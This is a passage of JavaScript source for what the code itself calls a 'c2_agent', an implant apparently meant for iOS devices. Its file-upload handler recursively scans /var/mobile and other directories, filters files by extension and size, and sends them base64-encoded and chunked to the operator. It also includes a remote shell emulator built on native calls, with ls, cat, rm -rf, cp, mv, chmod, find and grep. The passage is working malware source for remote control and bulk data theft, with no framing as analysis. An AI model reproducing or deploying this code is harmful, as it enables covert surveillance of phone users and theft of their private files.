0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j 